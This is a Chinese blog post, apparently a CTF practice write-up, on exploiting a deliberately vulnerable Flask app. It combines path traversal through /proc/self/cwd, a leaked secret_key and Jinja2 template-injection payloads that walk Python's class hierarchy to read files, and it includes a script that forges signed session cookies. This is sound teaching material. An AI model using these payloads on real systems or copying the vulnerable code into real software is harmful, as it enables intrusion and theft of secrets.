任意文件读取漏洞中flask SSTL 注入练习总结

本文详细介绍了Flask框架中的SSTL(服务器端模板注入)漏洞,以及如何利用该漏洞结合Linux proc文件系统读取敏感信息。通过分析`server.py`代码,展示了如何构造payload绕过限制,最终获取`flag.py`文件内容。同时,文章还讨论了如何伪造cookie来规避符号处理,从而成功利用SSTL漏洞。
摘要由CSDN通过智能技术生成

一、flask:

        Flask是一个使用python编写的 Web 应用框架,模板引擎使用 Jinja2 。j简单理解为,flask 是一个开发web 程序的python 第三方框架,即可以通过这个框架编写自己想要的web 程序。

二、SSTL注入:

         中文解释为 服务器模板注入攻击,即服务器端接受客户端输入数据,并作为web 应用模板数据的一部分,在执行目标渲染时,恶意代码将被执行。重点就在对目标文件渲染的过程,不同的框架使用的渲染模板引擎不同,flask 使用的时Jinja2进行渲染。

        flaskx下有两种渲染方式

flask.render_template_string("目标字符串")    #z字符渲染
flask.render_template(目标文件,参数(键对值形式:name=value))         #文件渲染
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )

app = Flask(__name__)

#字符渲染
@app.route('/')
def index():
    txt='''<h1>hello world!</h1>'''
    return render_template_string(txt)

#文件渲染
@app.route('/')
def index():
    txt='''hello world!'''
    return render_template('test.html',test=txt)


#文件渲染的目标文件
# templates文件下 
#     /test.html 文件有

<h1>welcome!</h1>
<h1>{{test}}</h1>

        上面代码启用字符渲染时,客户端访问 http://ip:5000/  得到 hello world! 

        当启用文件渲染时,客户对岸输入 http://ip:5000/ 将得到

 而存在SSTL 漏洞的是第一种字符渲染,

import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )

app = Flask(__name__)

#字符渲染
@app.route('/')
def index():
    code = request.args.get('xxx')
    txt='''<h1>hello world! %s</h1>'''%(code)
    return render_template_string(txt)

当输入 http://ip:5000/?xxx={{9*9}} 时得到了 81 可见表达式被执行了 。在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}可以传递变量,还可以执行一些简单的表达式。

 这就是一个简单的SSTL 漏洞

三、原题目来自 《从0 到1 CTFer成长之路配到练习》,下面是简化的题目

 题目描述:

        flask 框架 编写的一个 简易web 应用程序,server.py

import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

with open('flag.py','r') as f:
    exec(f.read())
with open('key.py','r') as f:
    exec(f.read())
app = Flask(__name__)
FALG=flag
app.secret_key=key

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")

@app.route("/test", methods=["GET", "POST"])
def test(): 
    
    if request.method != "POST":
        return render_template_string('''<h1>!!!</h1>''')
    name= request.form.get('test') or None
    name = name.replace(".", "").replace("_", "").replace("{","").replace("}","")
    print(name)
    if "test" not in session or session['test'] is None:
        session['test']=name
    if session['test'] is not None:
        template = '''<h1>hello %s Welcome!</h1><br><a href='/article?name=article'>点击试试</a> '''% session['test']
        session['test'] = None
    return render_template_string(template)

@app.route('/article', methods=['GET'])
def article():
    page = request.args.get('name')
    if page.find('flag')>=0:
        return render_template_string("NO NO NO!!!")
    if page=='article':
        page=page+'.txt'
    try:
        template = open('{}'.format(page),encoding='utf-8').read()
    except Exception as e:
        template = e
    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)
题目 目录环境为

/test/
     server.py
     article.txt
     flag.py
     key.py
     /templates/
              article.html
               main.html
# flag.py 文件内容
flag='flag{lusongtestflask}'
 
# key.py 文件内容
key='asdfghjkloiuygvbhg56tfd'

# article.txt 文件内容
你好!加油!

# article.html 文件内容
<h1>Article Content:</h1>
<br>
{{template}}

# main.html 文件内容
<h1>Welcome to ctf test page</h1>
<br>
<form method="post" action="test">
Your name: <input name="test">
<br>
<input type="submit"><br>
</form>

        练习目标:熟悉 linux的proc目录、flask 注入、任意文件读取

四、解题步骤:

1、靶机 运行web 程序   python3 server.py

2、浏览器访问:http://ip:5000/             flask 默认端口 5000

 2、看到一个输入界面,随意输入 提交  输出一句话 ,其我们刚输入的字符被一起输出。

 4、点击

5、发现是GET 传入 name=article  尝试随便输入一个数据

 发现抱错 没有找到文件 或目录 ,即得出结论,这是要传一个文件,试着做目录穿透

6、访问: http://ip:5000/article?name=../../../../proc/self/cmdline

         proc 目录通常存储着进程动态运行的各种信息,是一种虚目录 、/proc/[pid]/  表示存储这进程id为pid 的 进程信息,当方法当前进程 pid 用self 代替,即 /proc/self/.

        /proc/[pid]/cmdline 下可读出进程在终端输入过的命令命令 

         则根据返回的 python3server.py 可得知 当前进程为启动的一个server.py 程序。因为proc目录为虚拟目录,想要到进程实际目录 可用cwd 命令跳转

7、访问:访问: http://ip:5000/article?name=../../../../proc/self/cwd/server.py

 得到server.py 源码,发现 flag.py、key.py,而且和server.py 在一层目录

 

 直接访问 http://ip:5000/article?name=../../../../proc/self/cwd/flag.py ,发现访问不了 ,

看看key.py能否访问, 访问:http://ip:5000/article?name=../../../../proc/self/cwd/key.py ,发现可以得到数据。

 分析server.py 中key 的作用

 发现 app.secret_key=key,  app.secret_key 为flask 的session 的签名密钥,session 是基于cookie的,即session 经过加密后形成cookie ,分析server.py 中的代码:

发现,前面我们向表单输入一个数据,并不是直接返回,是先放在session 中,在通过session['test]得到并整合到一个字符串中,然后通过render_template_string() 进行渲染,即这存在一个SSTL 注入漏洞,我们的目的是要读取flag,py 文件信息,想到python的魔法方法,

python2 下获取file 类实现文件读取
# 获得一个字符串实例
>>> ""
''
# 获得字符串的type实例
>>> "".__class__             //获取实列的type 实例  (个人暂时理解为获取实例的 类型/类)
<type 'str'>

# 获得其父类     
>>> "".__class__.__mro__              
(<type 'str'>, <type 'basestring'>, <type 'object'>)      //object 类为万类之源
     
# 获得父类中的object类
>>> "".__class__.__mro__[2]            
<type 'object'>

# 使用__subclasses__()方法,获得object类的子类      
>>> "".__class__.__mro__[2].__subclasses__() 
[<type 'type'>, <type 'weakref'>......

# 获得第40个子类,即一个file类        
>>> "".__class__.__mro__[2].__subclasses__()[40] 
<type 'file'>

# 实现file 类 来读取想要读取的的文件信息                                                
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd") 
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>

# 使用file() 读取信息
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

#python3 取消了file 类,可以用 <class '_frozen_importlib_external.FileLoader'> 类代替

#同样操作 从一个基类向上找object 类,在向下寻找需要的额类
>>>"".__class__.__bases__[0].__subclasses__()[100]
<class '_frozen_importlib_external.FileLoader'>

#查看这个类的方法有那些
>>"".__class__.__bases__[0].__subclasses__()[100].__dict__    #发现一个 get_data() 方法 
{'__module__': '_frozen_importlib_external', '__doc__': 'Base file loader class which implements the loader protocol methods that\n    require file system usage.', '__init__': <function FileLoader.__init__ at 0x000002925DEB99D0>, '__eq__': <function FileLoader.__eq__ at 0x000002925DEB9A60>, '__hash__': <function FileLoader.__hash__ at 0x000002925DEB9AF0>, 'load_module': <function FileLoader.load_module at 0x000002925DEB9C10>, 'get_filename': <function FileLoader.get_filename at 0x000002925DEB9D30>, 'get_data': <function FileLoader.get_data at 0x000002925DEB9DC0>, 'get_resource_reader': <function FileLoader.get_resource_reader at 0x000002925DEB9EE0>, 'open_resource': <function FileLoader.open_resource at 0x000002925DEB9F70>, 'resource_path': <function FileLoader.resource_path at 0x000002925DEBB040>, 'is_resource': <function FileLoader.is_resource at 0x000002925DEBB0D0>, 'contents': <function FileLoader.contents at 0x000002925DEBB160>, '__dict__': <attribute '__dict__' of 'FileLoader' objects>, '__weakref__': <attribute '__weakref__' of 'FileLoader' objects>}

#调用 get_gata()  读取文件
>>"".__class__.__bases__[0].__subclasses__()[100].get_data('r','flag.py')

 构造 数据: python2 为:{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

     python3为:{{().__class__.__bases__[0].__subclasses__()[index].get_data('r','flag.py')}}

 index 的值在不同的python3 不同的版本中是不同的 python3.8.10 为99 python 3.9.7为100 其他的没试过

利用一些浏览器工具查看服务器信息发现python 版本为 python3.8.10

则注入原数据为: 

               {{().__class__.__bases__[0].__subclasses__()[99].get_data('r','flag.py')}}

我的环境为python3 使用第二条数据,发现没用,而且我们输入的一些符号没有回显,推断服务器将我们输入的数据进行了一些符号处理。 

 

 查看源码,发现这么一条代码,即对我们输入的 一些符号进行了删除

 name = name.replace(".", "").replace("_", "").replace("{","").replace("}","")

cookie 伪造吧,想想我们已经获取了app.secret_key的值,具有伪造flask cookie 的条件,编写简单的脚本生成cookie

import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
app.secret_key='asdfghjkloiuygvbhg56tfd'   #获取的key

@app.route('/')
def index():
                            #要伪造的数据   python 3.8.10 为99
    txt="{{().__class__.__bases__[0].__subclasses__()[99].get_data('r','flag.py')}}"
    session['test']=txt      #放入session 中 会用 key  自动加密后发给客户端
    ls='''hello '''
    return render_template_string(ls)
if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

 运行上面的脚本,并在浏览器访问,得到伪造的cookie数据

将得到的cookie 复制在目标网站的cookie 的cookie中,并保存  

 

 点击提交,伪造的cookie 信息就被发送到了服务器中,得到flag信息。 

 五、总结

        flask SSTL 注入、 python 魔法方法 、 linux proc 文件 。在做的时候关键是在python 3 中没有file 类,要从新寻找一个类来实现文件读取,在网上查询了很多的文章,但放在总结的环境中总是报错,在一个一个尝试下 发现 <class '_frozen_importlib_external.FileLoader'> 类能用,但在不同的python 版本中这个类的位置又不一样,但都在 "".__class__.__bases__[0].__subclasses__() 下 ,即 object 类的下的第一层。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值